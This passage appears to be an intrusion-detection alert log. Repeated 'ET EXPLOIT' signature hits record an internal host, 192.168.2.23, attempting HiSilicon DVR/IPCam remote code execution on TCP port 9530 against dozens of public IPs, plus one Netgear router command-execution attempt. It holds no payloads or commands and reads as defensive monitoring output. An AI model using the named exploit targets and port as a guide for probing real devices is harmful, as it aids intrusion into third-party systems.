Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.248.160.162

Timestamp:	05/16/24-16:38:59.556468
SID:	2030487
Source Port:	47914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.20.17.34

Timestamp:	05/16/24-16:38:59.588218
SID:	2030487
Source Port:	42898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.131.192.3

Timestamp:	05/16/24-16:38:53.093327
SID:	2030487
Source Port:	52334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.20.17.34

Timestamp:	05/16/24-16:38:59.588218
SID:	2030488
Source Port:	42898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.68.252.31

Timestamp:	05/16/24-16:39:05.713661
SID:	2030487
Source Port:	55282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.131.192.3

Timestamp:	05/16/24-16:38:53.093327
SID:	2030488
Source Port:	52334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.76.85.219

Timestamp:	05/16/24-16:38:55.192741
SID:	2030488
Source Port:	32880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.68.252.31

Timestamp:	05/16/24-16:39:05.713661
SID:	2030488
Source Port:	55282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.67.177.139

Timestamp:	05/16/24-16:39:14.517525
SID:	2030487
Source Port:	47306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.67.177.139

Timestamp:	05/16/24-16:39:14.517525
SID:	2030488
Source Port:	47306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.96.113.180

Timestamp:	05/16/24-16:39:12.384497
SID:	2030488
Source Port:	36656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.96.113.180

Timestamp:	05/16/24-16:39:12.384497
SID:	2030487
Source Port:	36656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.170.146.88

Timestamp:	05/16/24-16:39:12.304063
SID:	2030487
Source Port:	60864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.122.159.193

Timestamp:	05/16/24-16:39:03.281178
SID:	2030488
Source Port:	37040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.122.159.193

Timestamp:	05/16/24-16:39:03.281178
SID:	2030487
Source Port:	37040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.41.29.8

Timestamp:	05/16/24-16:39:14.527620
SID:	2030487
Source Port:	46002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.170.146.88

Timestamp:	05/16/24-16:39:12.304063
SID:	2030488
Source Port:	60864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.41.29.8

Timestamp:	05/16/24-16:39:14.527620
SID:	2030488
Source Port:	46002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.215.251.186

Timestamp:	05/16/24-16:39:16.579871
SID:	2030488
Source Port:	60906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.215.251.186

Timestamp:	05/16/24-16:39:16.579871
SID:	2030487
Source Port:	60906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.42.151.8

Timestamp:	05/16/24-16:39:12.380634
SID:	2030488
Source Port:	53298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 118.235.32.54

Timestamp:	05/16/24-16:38:49.306429
SID:	2029215
Source Port:	42358
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.42.151.8

Timestamp:	05/16/24-16:39:12.380634
SID:	2030487
Source Port:	53298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.147.159.197

Timestamp:	05/16/24-16:38:57.431245
SID:	2030488
Source Port:	41118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.147.159.197

Timestamp:	05/16/24-16:38:57.431245
SID:	2030487
Source Port:	41118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.230.148.0

Timestamp:	05/16/24-16:39:12.304123
SID:	2030488
Source Port:	34576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.230.148.0

Timestamp:	05/16/24-16:39:12.304123
SID:	2030487
Source Port:	34576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.20.90.230

Timestamp:	05/16/24-16:39:02.727951
SID:	2030488
Source Port:	46804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.20.90.230

Timestamp:	05/16/24-16:39:02.727951
SID:	2030487
Source Port:	46804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.6.213.244

Timestamp:	05/16/24-16:38:57.304851
SID:	2030488
Source Port:	36700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.6.213.244

Timestamp:	05/16/24-16:38:57.304851
SID:	2030487
Source Port:	36700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.24.74.80

Timestamp:	05/16/24-16:39:16.603543
SID:	2030488
Source Port:	44064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.24.74.80

Timestamp:	05/16/24-16:39:16.603543
SID:	2030487
Source Port:	44064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.168.212.53

Timestamp:	05/16/24-16:39:16.599010
SID:	2030488
Source Port:	57298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.208.120.112

Timestamp:	05/16/24-16:39:14.520236
SID:	2030487
Source Port:	58870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.208.120.112

Timestamp:	05/16/24-16:39:14.520236
SID:	2030488
Source Port:	58870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.149.150.30

Timestamp:	05/16/24-16:38:57.411176
SID:	2030487
Source Port:	40730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.250.28.83

Timestamp:	05/16/24-16:39:16.602151
SID:	2030488
Source Port:	52782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.250.28.83

Timestamp:	05/16/24-16:39:16.602151
SID:	2030487
Source Port:	52782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.149.150.30

Timestamp:	05/16/24-16:38:57.411176
SID:	2030488
Source Port:	40730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.242.53.117

Timestamp:	05/16/24-16:39:02.765707
SID:	2030487
Source Port:	55282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.242.53.117

Timestamp:	05/16/24-16:39:02.765707
SID:	2030488
Source Port:	55282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.88.131.187

Timestamp:	05/16/24-16:39:05.709500
SID:	2030488
Source Port:	45620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.228.125.144

Timestamp:	05/16/24-16:39:16.603545
SID:	2030488
Source Port:	50344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.213.229.50

Timestamp:	05/16/24-16:39:02.727005
SID:	2030488
Source Port:	36386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.228.125.144

Timestamp:	05/16/24-16:39:16.603545
SID:	2030487
Source Port:	50344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.88.131.187

Timestamp:	05/16/24-16:39:05.709500
SID:	2030487
Source Port:	45620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.213.229.50

Timestamp:	05/16/24-16:39:02.727005
SID:	2030487
Source Port:	36386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.69.82.216

Timestamp:	05/16/24-16:38:53.064442
SID:	2030488
Source Port:	59582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.20.83.234

Timestamp:	05/16/24-16:38:55.192777
SID:	2030487
Source Port:	35740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.20.83.234

Timestamp:	05/16/24-16:38:55.192777
SID:	2030488
Source Port:	35740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.151.119.240

Timestamp:	05/16/24-16:39:08.146382
SID:	2030488
Source Port:	58114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.151.119.240

Timestamp:	05/16/24-16:39:08.146382
SID:	2030487
Source Port:	58114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.69.82.216

Timestamp:	05/16/24-16:38:53.064442
SID:	2030487
Source Port:	59582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.154.51.9

Timestamp:	05/16/24-16:39:14.517511
SID:	2030488
Source Port:	52266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.154.51.9

Timestamp:	05/16/24-16:39:14.517511
SID:	2030487
Source Port:	52266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.132.138.1

Timestamp:	05/16/24-16:38:50.079985
SID:	2030488
Source Port:	49464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.132.138.1

Timestamp:	05/16/24-16:38:50.079985
SID:	2030487
Source Port:	49464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.8.133.202

Timestamp:	05/16/24-16:39:03.290430
SID:	2030488
Source Port:	37058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.8.133.202

Timestamp:	05/16/24-16:39:03.290430
SID:	2030487
Source Port:	37058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.3.194.237

Timestamp:	05/16/24-16:39:12.383681
SID:	2030488
Source Port:	53558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.3.194.237

Timestamp:	05/16/24-16:39:12.383681
SID:	2030487
Source Port:	53558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.95.56.230

Timestamp:	05/16/24-16:38:55.176055
SID:	2030488
Source Port:	38828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.95.56.230

Timestamp:	05/16/24-16:38:55.176055
SID:	2030487
Source Port:	38828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.147.54.223

Timestamp:	05/16/24-16:38:50.069048
SID:	2030487
Source Port:	54274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.147.54.223

Timestamp:	05/16/24-16:38:50.069048
SID:	2030488
Source Port:	54274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.20.159.66

Timestamp:	05/16/24-16:39:05.676308
SID:	2030488
Source Port:	48572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.182.203.198

Timestamp:	05/16/24-16:39:02.768653
SID:	2030488
Source Port:	56744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.20.159.66

Timestamp:	05/16/24-16:39:05.676308
SID:	2030487
Source Port:	48572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.182.203.198

Timestamp:	05/16/24-16:39:02.768653
SID:	2030487
Source Port:	56744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.72.58.144

Timestamp:	05/16/24-16:39:12.378352
SID:	2030487
Source Port:	52264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.72.58.144

Timestamp:	05/16/24-16:39:12.378352
SID:	2030488
Source Port:	52264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.193.146.50

Timestamp:	05/16/24-16:39:12.304197
SID:	2030488
Source Port:	54856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.193.146.50

Timestamp:	05/16/24-16:39:12.304197
SID:	2030487
Source Port:	54856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.168.212.53

Timestamp:	05/16/24-16:39:16.599010
SID:	2030487
Source Port:	57298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.249.174.124

Timestamp:	05/16/24-16:38:57.305730
SID:	2030488
Source Port:	58390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.249.174.124

Timestamp:	05/16/24-16:38:57.305730
SID:	2030487
Source Port:	58390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.195.100.3

Timestamp:	05/16/24-16:38:59.559323
SID:	2030488
Source Port:	41372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.195.100.3

Timestamp:	05/16/24-16:38:59.559323
SID:	2030487
Source Port:	41372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.29.44.29

Timestamp:	05/16/24-16:38:59.557688
SID:	2030488
Source Port:	46402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.145.101.93

Timestamp:	05/16/24-16:39:05.679568
SID:	2030487
Source Port:	58264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.145.101.93

Timestamp:	05/16/24-16:39:05.679568
SID:	2030488
Source Port:	58264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.29.44.29

Timestamp:	05/16/24-16:38:59.557688
SID:	2030487
Source Port:	46402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.122.94.19

Timestamp:	05/16/24-16:39:02.763330
SID:	2030487
Source Port:	36828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.122.94.19

Timestamp:	05/16/24-16:39:02.763330
SID:	2030488
Source Port:	36828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.99.255.138

Timestamp:	05/16/24-16:39:16.613549
SID:	2030488
Source Port:	46334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.99.255.138

Timestamp:	05/16/24-16:39:16.613549
SID:	2030487
Source Port:	46334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.130.190.75

Timestamp:	05/16/24-16:39:05.713658
SID:	2030488
Source Port:	43212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.130.190.75

Timestamp:	05/16/24-16:39:05.713658
SID:	2030487
Source Port:	43212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.91.96.19

Timestamp:	05/16/24-16:39:12.383577
SID:	2030487
Source Port:	45038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.91.96.19

Timestamp:	05/16/24-16:39:12.383577
SID:	2030488
Source Port:	45038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.251.31.105

Timestamp:	05/16/24-16:38:57.438280
SID:	2030487
Source Port:	36216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.251.31.105

Timestamp:	05/16/24-16:38:57.438280
SID:	2030488
Source Port:	36216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.214.19.10

Timestamp:	05/16/24-16:39:03.253942
SID:	2030488
Source Port:	41654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.214.19.10

Timestamp:	05/16/24-16:39:03.253942
SID:	2030487
Source Port:	41654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.127.79.12

Timestamp:	05/16/24-16:38:57.305716
SID:	2030488
Source Port:	56270
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.127.79.12

Timestamp:	05/16/24-16:38:57.305716
SID:	2030487
Source Port:	56270
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.129.168.244

Timestamp:	05/16/24-16:38:50.046374
SID:	2030488
Source Port:	37442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

